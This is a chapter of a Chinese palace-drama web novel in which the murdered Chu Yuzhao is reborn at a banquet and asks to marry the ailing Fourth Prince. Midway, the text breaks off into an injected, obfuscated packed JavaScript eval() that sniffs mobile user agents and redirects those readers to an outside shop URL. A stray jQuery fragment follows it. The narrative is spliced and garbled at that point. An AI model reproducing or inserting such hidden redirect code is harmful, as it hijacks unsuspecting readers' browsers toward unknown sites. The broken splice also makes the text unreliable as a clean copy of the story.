永安十七年,宁兴城的天被大火烧吞入一片灰蒙,羽林卫和虎前卒尸横遍地,风卷满地灰烬,掠过歪斜的旌旗。
覆巢之下,乱兵攻破雍和殿的大门,犹入无人之境。
尚未阖上的眼瞳里闪过一只绣鞋,踩在半截断刃,殿脊上的鸦羽惊飞而起。
咻——
破空声撕裂耳膜,转瞬又被死寂吞没。
少女的身影像断了线的风筝,跌入一地污血之中。
“还挺能跑!”
几个银甲兵痞翻身下马,步伐从容地向她走来,仿佛等着猎物咽下最后一口气。
楚玉昭吐出一口血沫,费力地蠕动双唇:“我是五皇妃,要什么我都可以给!”
“五皇妃?”几个人相视一笑,为首的拔出怀中的短匕,蹲在楚玉昭跟前,眼底闪着残忍的光,“要的就是你的命。”
匕首没入心口,刀刃将她钉在血泊之中,喉咙里涌上的血沫堵住了所有声音,一呼一吸间都能感受到刀刃的搅动。
好疼啊。
意识越发钝重,只听见风灌入心上的缺口。
弥留之际,一道熟悉的女声传入耳中。
楚玉昭睁着眼,死死盯着那片绣着并蒂裙角,只求死个明白。
楚玉瑶姗姗来迟,满头珠翠,妆容精致,丝毫不受宫变影响,手里捏着一张帕子嫌恶地看着地上的尸体,漫不经心地问道:“死透了吗?”
“死透了。”
得了答案,楚玉瑶脸上终于露出满意的神色,下一刻却扑在她身上,嚎啕大哭。
“姐姐莫要怪我,谁不想当皇后呢?”
真是可笑。
她真是瞎了眼,竟与这种狼心狗肺的东西姐妹相称。
为了楚家的前途,她没得选,只能听从父兄安排嫁给萧景珩。
成婚那夜,萧景珩说,他要让楚玉昭坐天下最尊贵的女人。
楚玉昭信了,人前为萧景珩笼络朝臣,人后又要装得贤良,与妹妹共事一夫。
草草一生,不过是枚用完即弃的棋子。
早知如此,她宁可受千夫所指,也不踏入皇权漩涡半步。
耳边的哭声像溺入水中,越发浑浊,口鼻间的腥风也静谧起来。
随即,锣鼓声起,丝竹不绝。
是在庆祝新帝登基吗?
又或是在庆祝,她的死亡。
锣鼓敲击声越发洪亮,鼓槌仿佛追着她的心跳而落。
楚玉昭猛地惊醒,贪婪地汲取空气,甜得发腻的脂粉味在肺里乱窜。
刺眼的烛火在视线里炸开,五颜六色的光影如水墨画般晕开,陌生的人影像鬼魅般扭曲。
楚玉昭双手下意识地捂住砰砰乱跳的心口,却摸不到那个透心凉的血洞。
除了清晰可感的阵痛,没有汩汩流淌的血水,没有透心凉血洞,仿佛刚才被射杀的场景,只是她一厢情愿的臆想。
可是,心跳的节奏骗不了人,肋骨下方还残留着匕首搅动的痛觉,冷汗顺着额间往下淌,浑身止不住地发抖。
“姑娘,这可是宫宴,要懂礼数。”一旁的宫女侧在她耳边念道。
声音似乎从很远的地方传来,传进耳朵里化成了嗡嗡的回响。
楚玉昭怔怔地转过头,目光涣散地落在宫女脸上,嘴唇微微翕动,却发不出任何声音,喉咙里还残留着血沫涌上的腥甜错觉。
可方才那种被钉在血泊里的窒息感,像一只手,死死掐着她的五脏六腑。
宫女见她一副六神无主的模样,借着倒酒由头,侧耳道:“姑娘,一会儿陛下赐婚,您可不能再这么犯迷糊了。”
楚玉昭咬下舌尖,借着那一点刺痛,才勉强将意识从混沌里拉回来,像提线木偶似的稀里糊涂地点点头。
赐婚?什么赐婚?
楚玉昭的手指微微收紧,缓缓抬起头打量四周,撷芳殿的高台上独坐九五至尊,往下皇子公主侧列席间,朝中重臣列席而坐,到她这一侧,皆是贵女。
天子身边,独独缺了一个口子。
那是四皇子萧聿明的位置,即使他不愿赴宴,光文帝却一直给留着。
她想起来了,今日是父亲楚兴旗凯旋的日子,宫中大办庆功宴,光文帝亲自为几位适龄皇子和世家贵女牵线。
刚才的宫女,是萧景珩的眼线,只为了时时刻刻提醒她,楚玉昭的夫婿只能是他萧景珩。
这场庆功宴,容不得一点差错。
父亲骁勇善战,屡立奇功,眼瞧着太平日子就在眼前,为了能在京中站稳脚跟,楚家动了联姻的心思。
最重要的是,光文帝也有意撮合她与五皇子萧景珩。
所有人都说,楚家大小姐要飞上枝头了。
现在看来,说是断头台也不为过。
楚玉昭微微侧过身子,旁坐的楚玉瑶一杯接一杯地喝着闷酒。
怪不得前世楚玉瑶喝了个烂醉,原来是情郎要娶别人了。
一道视线落在楚玉昭身上,抬眼落入萧景珩的目光,玉觞微倾,莞尔一笑,颇有几分温润如玉、公子无双的味道。
楚玉昭低下头,端起茶杯抿了一口,强压下胸口的不适。
眼角瞥见挂在腰间的玉佩,还是昨个萧景珩送给她的定情之物。
当初她怎就被迷了心窍。
“姐姐,真是好福气,五殿下在看你呢。”楚玉瑶醉醺醺地说道,话里带着几分艳羡和酸意。
是在看她吗?
还是在看楚玉瑶?
又或是,看一只待宰的羔羊。
京城贵女无数,萧景珩为何偏偏看上了她楚玉昭?
左右不过贪图她既是楚家的女儿,又是蜀中王的孙女,有的是金银财宝为他招兵买马。
楚玉昭看着她,嘴角勾起一抹冷笑,迫不及待地扯下腰间的玉佩丢到桌案之下。
酒过三巡,歌舞暂歇。
楚兴旗收复关外失地,文臣倾尽美言,兜兜转转还是把功劳安在光文帝遣将有度,善识人才。
光文帝兴致大好,笑道:“此次楚爱卿立了大功,想要什么赏赐,只要不违背道义,朕都允了。”
楚兴旗脸上挂着五分酒意从席间而出,跪谢道:“谢陛下隆恩。臣确有一事相求。”
楚兴旗不敢抬头,直言道:“臣膝下二女,唯玉昭亏欠甚多,还望陛下能替臣了却一桩心愿。”
“玉昭。”光文帝念着她的名字,目光投向楚玉昭,抚着花白的胡须道。
“朕记得,你跟老五年龄相近,也到了许配人家的年纪。”
满殿私语,如蝇蚁般聒噪。
光文帝倾身向前,余光扫过一众皇子:“要赏就要赏个大的。”
萧景珩不由得挺直了腰杆,一副胸有成竹的模样。
这桩婚事是他向陛下求来的,他与楚玉昭青梅竹马,昨日还亲手送了定情玉佩,他可是亲眼瞧着楚玉昭满心欢喜收下,脸都羞红了。
况且,谁能抵挡得住五皇妃的诱惑?
四皇子体弱多病,早已不适合继承大统,立长立贤,合该萧景珩入主东宫。
到时候,五皇妃可就变成太子妃了。
楚玉昭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911614|213131||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身形一晃,失手打翻了案几上的茶杯。
该来的还是逃不掉,这桩婚事楚家没有抗旨的余地。
纵使楚玉昭不愿嫁,皇帝也会为她指婚给其他皇子,只因为她是楚家的女儿,身上还流着蜀中王的血脉。
一头连着楚家的兵权,一头连着蜀中的富贵,落在别人手里,皇帝寝食难安。
楚玉昭惊出一身冷汗,膝盖一软跪了下去,砸出一声不大不小的动静。
目光落在光文帝身旁那个空荡荡的缺口,一个念头忽然在脑海中闪过。
与其等他们安排,何不自己选一个?
总归不会比萧景珩更差了。
前世,四皇子萧聿明因身子孱弱,早早就封了王,前往属地养病。直至萧景珩杀进皇宫,远在江肇的萧聿明,大概是所有皇子里唯一独善其身的。
楚玉昭要的就是这个。
她不需要萧聿明有多大的权势,甚至不需要他长命百岁。
只要能离开京城,离开这些作呕的人和事。
至于感情,楚玉昭咽下喉间的苦涩,这辈子她万万不能再碰那个东西了。
“朕这几个儿子,你若是有看上的,朕也当一回月老。”光文帝似乎被楚玉昭逗开心了,手指点着坐席方向,笑道。
楚玉昭壮起胆子,咬牙道:“臣女请愿照顾四皇子。”
萧景珩脸上已经准备好的笑容微微一僵,显然没有料到会被楚玉昭拒绝。
以他的身份地位,哪个贵女会不识抬举?
这楚玉昭是疯了吧......
“老四啊。”光文帝顿了顿,着实也没想到楚玉昭会选四皇子。
当年光文帝还是太子的时候,害了疫病,德嘉皇后以身试药,昼夜不离,诞下四皇子后就撒手人寰。
可怜四皇子一出生就体弱多病,连御医都断言四皇子活不过而立。
楚玉昭放着如日中天的五皇子不要,上赶着去嫁一个病痨子?
楚玉瑶也以为自己听错了,心口像是松了一口气,眼里闪着希冀的光,直勾勾地望向萧景珩。
同是楚氏女,为何成为五皇妃不能是她楚玉瑶。
上一秒楚玉昭还是风光无二的存在,这一刻她变成了“惊艳四座”的傻子。
殿中的气氛微妙地变了,艳羡私语像骤然掐断的丝竹声。
光文帝靠在龙椅上,目光看向五皇子萧景珩。
不是说萧景珩与楚家的丫头情投意合,两人还交换定情信物。
撷芳殿里,落针可闻。
“玉昭姑娘,你方才说想嫁给谁?”萧景珩赤裸裸地问道。
楚玉昭不敢抬头,几乎是喊了出来,“臣女自请照顾四殿下!”
“玉昭啊,老四他久病不出,性子也古怪得很。”光文帝难得开口劝道。
“臣女知道。”楚玉昭说得滴水不漏,“陛下恩德,臣女无以回报,只愿为陛下分忧。”
当年,这宫里谁人不知德嘉皇后与淑妃娘娘的过节,可怜四皇子自幼没了母亲,养在太后膝下不过十岁,便被赶到耘院那种地方。
光文帝还有用得着淑妃母家的地方,本就有意为四皇子萧聿明挑一位皇妃,免得落得个“薄情”的名声,架不住萧聿明百般推脱,不肯耽误好姑娘。
既然楚玉昭自请照顾四皇子,光文帝也乐得当个“慈父”。
“准了。”
出人意料的声音回荡在撷芳殿内,五皇子萧景珩顾不得礼数,快步跪在楚玉昭身旁,道:“父皇,此事......”
“就这么定了。”